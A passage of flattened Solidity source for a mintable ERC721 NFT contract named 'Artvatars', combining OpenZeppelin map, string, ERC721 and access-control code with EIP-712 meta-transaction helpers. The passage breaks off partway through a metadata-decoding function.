// because index 0 means a key is not in the map.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) {// Equivalent to !contains(map, key)
map._entries.push(MapEntry({_key : key, _value : value}));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) {// Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1;
// All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
return _get(map, key, "EnumerableMap: nonexistent key");
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage);
// Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value;
// All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint256(value)));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key), errorMessage)));
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = byte(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping(address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
// If there is no base URI, return the token URI.
if (bytes(_baseURI).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(_baseURI, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(_baseURI, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
(uint256 tokenId,) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mecanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual {}
}
// File: @openzeppelin/contracts/access/AccessControl.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
// File: contracts/common/AccessControlMixin.sol
pragma solidity 0.6.6;
contract AccessControlMixin is AccessControl {
string private _revertMsg;
function _setupContractId(string memory contractId) internal {
_revertMsg = string(abi.encodePacked(contractId, ": INSUFFICIENT_PERMISSIONS"));
}
modifier only(bytes32 role) {
require(
hasRole(role, _msgSender()),
_revertMsg
);
_;
}
}
// File: contracts/common/Initializable.sol
pragma solidity 0.6.6;
contract Initializable {
bool inited = false;
modifier initializer() {
require(!inited, "already inited");
_;
inited = true;
}
}
// File: contracts/common/EIP712Base.sol
pragma solidity 0.6.6;
contract EIP712Base is Initializable {
struct EIP712Domain {
string name;
string version;
address verifyingContract;
bytes32 salt;
}
string constant public ERC712_VERSION = "1";
bytes32 internal constant EIP712_DOMAIN_TYPEHASH = keccak256(
bytes(
"EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)"
)
);
bytes32 internal domainSeperator;
// supposed to be called once while initializing.
// one of the contractsa that inherits this contract follows proxy pattern
// so it is not possible to do this in a constructor
function _initializeEIP712(
string memory name
)
internal
initializer
{
_setDomainSeperator(name);
}
function _setDomainSeperator(string memory name) internal {
domainSeperator = keccak256(
abi.encode(
EIP712_DOMAIN_TYPEHASH,
keccak256(bytes(name)),
keccak256(bytes(ERC712_VERSION)),
address(this),
bytes32(getChainId())
)
);
}
function getDomainSeperator() public view returns (bytes32) {
return domainSeperator;
}
function getChainId() public pure returns (uint256) {
uint256 id;
assembly {
id := chainid()
}
return id;
}
/**
* Accept message hash and returns hash message in EIP712 compatible form
* So that it can be used to recover signer from signature signed using EIP712 formatted data
* https://eips.ethereum.org/EIPS/eip-712
* "\\x19" makes the encoding deterministic
* "\\x01" is the version byte to make it compatible to EIP-191
*/
function toTypedMessageHash(bytes32 messageHash)
internal
view
returns (bytes32)
{
return
keccak256(
abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash)
);
}
}
// File: contracts/common/NativeMetaTransaction.sol
pragma solidity 0.6.6;
contract NativeMetaTransaction is EIP712Base {
using SafeMath for uint256;
bytes32 private constant META_TRANSACTION_TYPEHASH = keccak256(
bytes(
"MetaTransaction(uint256 nonce,address from,bytes functionSignature)"
)
);
event MetaTransactionExecuted(
address userAddress,
address payable relayerAddress,
bytes functionSignature
);
mapping(address => uint256) nonces;
/*
* Meta transaction structure.
* No point of including value field here as if user is doing value transfer then he has the funds to pay for gas
* He should call the desired function directly in that case.
*/
struct MetaTransaction {
uint256 nonce;
address from;
bytes functionSignature;
}
function executeMetaTransaction(
address userAddress,
bytes memory functionSignature,
bytes32 sigR,
bytes32 sigS,
uint8 sigV
) public payable returns (bytes memory) {
MetaTransaction memory metaTx = MetaTransaction({
nonce : nonces[userAddress],
from : userAddress,
functionSignature : functionSignature
});
require(
verify(userAddress, metaTx, sigR, sigS, sigV),
"Signer and signature do not match"
);
// increase nonce for user (to avoid re-use)
nonces[userAddress] = nonces[userAddress].add(1);
emit MetaTransactionExecuted(
userAddress,
msg.sender,
functionSignature
);
// Append userAddress and relayer address at the end to extract it from calling context
(bool success, bytes memory returnData) = address(this).call(
abi.encodePacked(functionSignature, userAddress)
);
require(success, "Function call not successful");
return returnData;
}
function hashMetaTransaction(MetaTransaction memory metaTx)
internal
pure
returns (bytes32)
{
return
keccak256(
abi.encode(
META_TRANSACTION_TYPEHASH,
metaTx.nonce,
metaTx.from,
keccak256(metaTx.functionSignature)
)
);
}
function getNonce(address user) public view returns (uint256 nonce) {
nonce = nonces[user];
}
function verify(
address signer,
MetaTransaction memory metaTx,
bytes32 sigR,
bytes32 sigS,
uint8 sigV
) internal view returns (bool) {
require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER");
return
signer ==
ecrecover(
toTypedMessageHash(hashMetaTransaction(metaTx)),
sigV,
sigR,
sigS
);
}
}
// File: contracts/root/RootToken/IMintableERC721.sol
pragma solidity 0.6.6;
interface IMintableERC721 is IERC721 {
/**
* @notice called by predicate contract to mint tokens while withdrawing
* @dev Should be callable only by MintableERC721Predicate
* Make sure minting is done only by this function
* @param user user address for whom token is being minted
* @param tokenId tokenId being minted
*/
function mint(address user, uint256 tokenId) external;
/**
* @notice called by predicate contract to mint tokens while withdrawing with metadata from L2
* @dev Should be callable only by MintableERC721Predicate
* Make sure minting is only done either by this function/ ๐
* @param user user address for whom token is being minted
* @param tokenId tokenId being minted
* @param metaData Associated token metadata, to be decoded & set using `setTokenMetadata`
*
* Note : If you're interested in taking token metadata from L2 to L1 during exit, you must
* implement this method
*/
function mint(address user, uint256 tokenId, bytes calldata metaData) external;
/**
* @notice check if token already exists, return true if it does exist
* @dev this check will be used by the predicate to determine if the token needs to be minted or transfered
* @param tokenId tokenId being checked
*/
function exists(uint256 tokenId) external view returns (bool);
}
// File: contracts/common/ContextMixin.sol
pragma solidity 0.6.6;
abstract contract ContextMixin {
function msgSender()
internal
view
returns (address payable sender)
{
if (msg.sender == address(this)) {
bytes memory array = msg.data;
uint256 index = msg.data.length;
assembly {
// Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those.
sender := and(
mload(add(array, index)),
0xffffffffffffffffffffffffffffffffffffffff
)
}
} else {
sender = msg.sender;
}
return sender;
}
}
// File: contracts/root/RootToken/DummyMintableERC721.sol
pragma experimental ABIEncoderV2;
pragma solidity 0.6.6;
contract ArtvatarsMintableERC721 is
ERC721,
AccessControlMixin,
NativeMetaTransaction,
IMintableERC721,
ContextMixin
{
bytes32 public constant PREDICATE_ROLE = keccak256("PREDICATE_ROLE");
mapping(uint256 => Artvatar) public tokenToArtvatar;
struct Attribute {
string title;
string name;
}
struct Artvatar {
uint256 id;
string series;
string title;
string description;
string image;
Attribute[] attributes;
bool metadataChanged;
}
constructor(string memory name_, string memory symbol_, address predicateProxy_)
public
ERC721(name_, symbol_)
{
_setupContractId("ArtvatarsMintableERC721");
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(PREDICATE_ROLE, _msgSender());
_setupRole(PREDICATE_ROLE, predicateProxy_);
_initializeEIP712(name_);
}
function _msgSender()
internal
override
view
returns (address payable sender)
{
return ContextMixin.msgSender();
}
/**
* @dev See {IMintableERC721-mint}.
*/
function mint(address user, uint256 tokenId) external override only(PREDICATE_ROLE) {
_mint(user, tokenId);
}
/**
* If you're attempting to bring metadata associated with token
* from L2 to L1, you must implement this method, to be invoked
* when minting token back on L1, during exit
*/
function setTokenMetadata(uint256 tokenId, bytes memory data) internal virtual {
// This function should decode metadata obtained from L2
// and attempt to set it for this `tokenId`
//
// Following is just a default implementation, feel
// free to define your own encoding/ decoding scheme
// for L2 -> L1 token metadata transfer
(Artvatar memory _artvatar, string memory uri) = abi.decode(data, (Artvatar, string));
Artvatar storage artvatar = tokenToArtvatar[tokenId];
